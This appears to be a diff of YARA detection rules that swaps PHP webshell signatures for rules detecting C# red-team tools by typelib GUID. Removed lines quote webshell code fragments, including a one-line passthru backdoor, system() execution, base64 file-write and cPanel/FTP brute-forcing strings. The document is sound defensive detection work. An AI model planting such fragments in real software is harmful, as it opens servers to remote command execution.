-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6205-L6221"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "64d4495875a809b2730bd93bec2e33902ea80a53"
-		logic_hash = "c58edc548b7804be25f6956e9407cc9f8c74dfd8651f601a87ba639284e612d9"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0aea5e05-7788-5581-8bcc-d2e75a291dd9"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/0xyg3n/DarkFender"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2423-L2437"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "97cc537dca2f8559edf7ca44124a2056194aceee9327fa097674bccdeb0316df"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = " if (isset($_FILES['probe']) and ! $_FILES['probe']['error']) {" fullword
-		$s1 = "<b>--Coded by Silver" fullword
-		$s2 = "<title>Upload - Shell/Datei</title>" fullword
-		$s8 = "<a href=\"http://www.n-c-c.6x.to\" target=\"_blank\">-->NCC<--</a></center></b><"
-		$s14 = "~|_Team .:National Cracker Crew:._|~<br>" fullword
-		$s18 = "printf(\"Sie ist %u Bytes gro" fullword
+		$typelibguid0lo = "12fdf7ce-4a7c-41b6-9b32-766ddd299beb" ascii wide
+		$typelibguid0up = "12FDF7CE-4A7C-41B6-9B32-766DDD299BEB" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_README
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Minerdropper : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file README.md"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6222-L6234"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ef2c567b4782c994db48de0168deb29c812f7204"
-		logic_hash = "aa8a9be74bbac08518d5ba442aa6fa37d3f1b255df48b49ccb9842f5728a49d5"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "607f72df-b0c1-53df-bf2c-592f55cbfcb7"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/DylanAlloy/MinerDropper"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2459-L2475"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ce050b7dd0a9bae5737f5170a8656f737754e6c96e64bca2ceab9b030c4cdddb"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Common php webshells. Do not host the file(s) in your server!" fullword
-		$s1 = "php-webshells" fullword
+		$typelibguid0lo = "46a7af83-1da7-40b2-9d86-6fd6223f6791" ascii wide
+		$typelibguid0up = "46A7AF83-1DA7-40B2-9D86-6FD6223F6791" ascii wide
+		$typelibguid1lo = "8433a693-f39d-451b-955b-31c3e7fa6825" ascii wide
+		$typelibguid1up = "8433A693-F39D-451B-955B-31C3E7FA6825" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Backupsql
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdomainspray : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file backupsql.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "15d6e967-1e53-53b4-a2cf-7786452495d4"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6235-L6250"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "863e017545ec8e16a0df5f420f2d708631020dd4"
-		logic_hash = "0126bfad6eb3861e8322ac3e11b4fd95bc8b88597d916e66c6646d7d5529c1d5"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "cffd3350-4a86-5035-ab15-adbc3ac2a0e9"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/HunnicCyber/SharpDomainSpray"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2477-L2491"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cb8bbeebe23a1e9e77fae170f2742aa0aabfb88436f91dc78f94cc1bef70b2dd"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$headers .= \"\\nMIME-Version: 1.0\\n\" .\"Content-Type: multipart/mixed;\\n\" ."
-		$s1 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
-		$s2 = "* as email attachment, or send to a remote ftp server by" fullword
-		$s16 = "* Neagu Mihai<neagumihai@hotmail.com>" fullword
-		$s17 = "$from    = \"Neu-Cool@email.com\";  // Who should the emails be sent from?, may "
+		$typelibguid0lo = "76ffa92b-429b-4865-970d-4e7678ac34ea" ascii wide
+		$typelibguid0up = "76FFA92B-429B-4865-970D-4E7678AC34EA" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_AK_74_Security_Team_Web_Shell_Beta_Version
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Ispykeylogger : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file AK-74 Security Team Web Shell Beta Version.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e93a6ac3-080f-53d3-8368-b9feb509a2ea"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6251-L6264"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c90b0ba575f432ecc08f8f292f3013b5532fe2c4"
-		logic_hash = "4fbf8f5cab8593fd88e5a430b849e61d7d663c13700f459aa516c5b337d5438b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8607de67-b472-5afc-b2b9-cc758b5ec474"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/mwsrc/iSpyKeylogger"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2493-L2513"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a323adff7a71022a88c0ea1d2d7ddba14f3cefab50c431c2972165ae412f2565"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s8 = "- AK-74 Security Team Web Site: www.ak74-team.net" fullword
-		$s9 = "<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>'."
-		$s10 = "<b><font color=#83000>Execute system commands!</font></b>" fullword
+		$typelibguid0lo = "ccc0a386-c4ce-42ef-aaea-b2af7eff4ad8" ascii wide
+		$typelibguid0up = "CCC0A386-C4CE-42EF-AAEA-B2AF7EFF4AD8" ascii wide
+		$typelibguid1lo = "816b8b90-2975-46d3-aac9-3c45b26437fa" ascii wide
+		$typelibguid1up = "816B8B90-2975-46D3-AAC9-3C45B26437FA" ascii wide
+		$typelibguid2lo = "279b5533-d3ac-438f-ba89-3fe9de2da263" ascii wide
+		$typelibguid2up = "279B5533-D3AC-438F-BA89-3FE9DE2DA263" ascii wide
+		$typelibguid3lo = "88d3dc02-2853-4bf0-b6dc-ad31f5135d26" ascii wide
+		$typelibguid3up = "88D3DC02-2853-4BF0-B6DC-AD31F5135D26" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Cpanel
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Solarflare : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file cpanel.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6265-L6281"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "433dab17106b175c7cf73f4f094e835d453c0874"
-		logic_hash = "e4dc90c52648f1e5b7dc2d77dcb94feb774ec9e3c156c923c54a9e8f537bbf07"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3645e14c-6025-59fa-a5a2-d8dacba8cd94"
+		date = "2020-12-15"
+		modified = "2023-04-06"
+		reference = "https://github.com/mubix/solarflare"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2515-L2529"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4e35c57795ce3adaab52cba23a6d845617fed6c94dd1df048dcaa115086c513c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "function ftp_check($host,$user,$pass,$timeout){" fullword
-		$s3 = "curl_setopt($ch, CURLOPT_URL, \"http://$host:2082\");" fullword
-		$s4 = "[ user@alturks.com ]# info<b><br><font face=tahoma><br>" fullword
-		$s12 = "curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);" fullword
-		$s13 = "Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir"
-		$s20 = "<br><b>Please enter your USERNAME and PASSWORD to logon<br>" fullword
+		$typelibguid0lo = "ca60e49e-eee9-409b-8d1a-d19f1d27b7e4" ascii wide
+		$typelibguid0up = "CA60E49E-EEE9-409B-8D1A-D19F1D27B7E4" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Accept_Language
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Snaffler : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file accept_language.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "343ed2a4-4bed-5e73-8d05-f9573b0147af"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6282-L6293"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "180b13576f8a5407ab3325671b63750adbcb62c9"
-		logic_hash = "6d45071722268f5b39b1486a7dce883ecefb2b3c9993357b7b58bd603ff1c40d"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d4b9a8c5-e0d9-5c85-af81-05f6e0f52bff"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/SnaffCon/Snaffler"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2531-L2547"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "13711b325cadf882be0aeb1073084193c73b9eec0f3a323d0cea9beeeb3d3cf5"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<?php passthru(getenv(\"HTTP_ACCEPT_LANGUAGE\")); echo '<br> by q1w2e3r4'; ?>" fullword
+		$typelibguid0lo = "2aa060b4-de88-4d2a-a26a-760c1cefec3e" ascii wide
+		$typelibguid0up = "2AA060B4-DE88-4D2A-A26A-760C1CEFEC3E" ascii wide
+		$typelibguid1lo = "b118802d-2e46-4e41-aac7-9ee890268f8b" ascii wide
+		$typelibguid1up = "B118802D-2E46-4E41-AAC7-9EE890268F8B" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_529
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshares : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file 529.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6294-L6311"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ba3fb2995528307487dff7d5b624d9f4c94c75d3"
-		logic_hash = "f46b84d51077f157c83cd01534dfe7f9cd0d9ef04ad9935ced22d2abc873c171"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e96aa79b-1da2-5b0c-9ac2-b6e201e06ec6"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/djhohnstein/SharpShares/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2549-L2563"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3ff3dd2c1facaeefcfd7f784c4dae15a66ff5ba1de33bb007dbc8cc91c38c29e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<p>More: <a href=\"/\">Md5Cracking.Com Crew</a> " fullword
-		$s7 = "href=\"/\" title=\"Securityhouse\">Security House - Shell Center - Edited By Kin"
-		$s9 = "echo '<PRE><P>This is exploit from <a " fullword
-		$s10 = "This Exploit Was Edited By KingDefacer" fullword
-		$s13 = "safe_mode and open_basedir Bypass PHP 5.2.9 " fullword
-		$s14 = "$hardstyle = explode(\"/\", $file); " fullword
-		$s20 = "while($level--) chdir(\"..\"); " fullword
+		$typelibguid0lo = "fe9fdde5-3f38-4f14-8c64-c3328c215cf2" ascii wide
+		$typelibguid0up = "FE9FDDE5-3F38-4F14-8C64-C3328C215CF2" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_STNC_Webshell_V0_8
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpedrchecker : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file STNC WebShell v0.8.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5dc300a2-9965-52e3-a382-b8d327eb7029"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6312-L6325"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "52068c9dff65f1caae8f4c60d0225708612bb8bc"
-		logic_hash = "c2067a1b78c441aa05366b612090e0df895c621843038cc9e65beb6719c0cb9a"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f7ff344e-f8ee-5c3a-bdd1-de3cae8e7dfb"
+		date = "2020-12-18"
+		modified = "2023-04-06"
+		reference = "https://github.com/PwnDexter/SharpEDRChecker"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2565-L2579"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9da3ff753db6358029f1fdcb100bf6173d142096557c170ddcb3ac9b8c80b310"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "if(isset($_POST[\"action\"])) $action = $_POST[\"action\"];" fullword
-		$s8 = "elseif(fe(\"system\")){ob_start();system($s);$r=ob_get_contents();ob_end_clean()"
-		$s13 = "{ $pwd = $_POST[\"pwd\"]; $type = filetype($pwd); if($type === \"dir\")chdir($pw"
+		$typelibguid0lo = "bdfee233-3fed-42e5-aa64-492eb2ac7047" ascii wide
+		$typelibguid0up = "BDFEE233-3FED-42E5-AA64-492EB2AC7047" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Tryag
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcliphistory : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file tryag.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6326-L6341"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "42d837e9ab764e95ed11b8bd6c29699d13fe4c41"
-		logic_hash = "2af3bbe8d1940e60843f3f5d40c9c6550e76df21568c374f7a871f73aeefae44"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "89ca4717-a4ec-5371-8dc3-bdb9933384af"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/FSecureLABS/SharpClipHistory"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2581-L2595"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5c88179f7b32cc4300f7ed85472247f91d812e523d07f4a11dc4e4b34344be1d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<title>TrYaG Team - TrYaG.php - Edited By KingDefacer</title>" fullword
-		$s3 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\"; " fullword
-		$s6 = "$string = !empty($_POST['string']) ? $_POST['string'] : 0; " fullword
-		$s7 = "$tabledump .= \"CREATE TABLE $table (\\n\"; " fullword
-		$s14 = "echo \"<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUE"
+		$typelibguid0lo = "1126d5b4-efc7-4b33-a594-b963f107fe82" ascii wide
+		$typelibguid0up = "1126D5B4-EFC7-4B33-A594-B963F107FE82" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Dc3_Security_Crew_Shell_Priv_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpgpo_Remoteaccesspolicies : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file dC3 Security Crew Shell PRiV.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1d4a95c4-8128-504d-958f-dcc5c68f4975"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6342-L6357"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9077eb05f4ce19c31c93c2421430dd3068a37f17"
-		logic_hash = "52dc0449c205ff9105e2dedc3cb4858f83a2efc7bae579656a26da493dc59500"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "642c2672-2327-5a4a-af91-6e0559996908"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/FSecureLABS/SharpGPO-RemoteAccessPolicies"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2597-L2611"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d6f74ef8d34603502b26b60a1042dd531891088b9455f068bccaabaf12232b1"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
-		$s9 = "header(\"Last-Modified: \".date(\"r\",filemtime(__FILE__)));" fullword
-		$s13 = "header(\"Content-type: image/gif\");" fullword
-		$s14 = "@copy($file,$to) or die (\"[-]Error copying file!\");" fullword
-		$s20 = "if (isset($_GET['rename_all'])) {" fullword
+		$typelibguid0lo = "fbb1abcf-2b06-47a0-9311-17ba3d0f2a50" ascii wide
+		$typelibguid0up = "FBB1ABCF-2B06-47A0-9311-17BA3D0F2A50" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Qsd_Php_Backdoor
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Absinthe : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file qsd-php-backdoor.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f8208851-159c-5d0b-91ad-478aeb4fc9fd"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6358-L6372"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4856bce45fc5b3f938d8125f7cdd35a8bbae380f"
-		logic_hash = "3ef7b67cd60370a99fdfa6fd614f71ee314af27c9d983383dde8f03a127a28b3"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8f25593b-b9d2-5807-b299-b039ecfd43a5"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/cameronhotchkies/Absinthe"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2613-L2627"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f6736024464a7b7115f8b66ff985a47107cbdd7d6260e56586ade467b3ca6c2a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "// A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.c"
-		$s2 = "if(isset($_POST[\"newcontent\"]))" fullword
-		$s3 = "foreach($parts as $val)//Assemble the path back together" fullword
-		$s7 = "$_POST[\"newcontent\"]=urldecode(base64_decode($_POST[\"newcontent\"]));" fullword
+		$typelibguid0lo = "9936ae73-fb4e-4c5e-a5fb-f8aaeb3b9bd6" ascii wide
+		$typelibguid0up = "9936AE73-FB4E-4C5E-A5FB-F8AAEB3B9BD6" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Spygrup
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Exploitremotingservice : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file spygrup.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6373-L6387"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "12f9105332f5dc5d6360a26706cd79afa07fe004"
-		logic_hash = "5981f8cc1a98f799b1573cf73297383f995acf1c40f0227ac10302dc4d6fd6cc"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "2f0b9635-2b2e-5825-baeb-69d7ae3791b1"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/tyranid/ExploitRemotingService"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2629-L2647"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "08871e9edc8184ee487080a9d99735598a9f03e605db0a38e83f60a3cc15cbbe"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "kingdefacer@msn.com</FONT></CENTER></B>\");" fullword
-		$s6 = "if($_POST['root']) $root = $_POST['root'];" fullword
-		$s12 = "\".htmlspecialchars($file).\" Bu Dosya zaten Goruntuleniyor<kingdefacer@msn.com>" fullword
-		$s18 = "By KingDefacer From Spygrup.org>" fullword
+		$typelibguid0lo = "fd17ae38-2fd3-405f-b85b-e9d14e8e8261" ascii wide
+		$typelibguid0up = "FD17AE38-2FD3-405F-B85B-E9D14E8E8261" ascii wide
+		$typelibguid1lo = "1850b9bb-4a23-4d74-96b8-58f274674566" ascii wide
+		$typelibguid1up = "1850B9BB-4A23-4D74-96B8-58F274674566" ascii wide
+		$typelibguid2lo = "297cbca1-efa3-4f2a-8d5f-e1faf02ba587" ascii wide
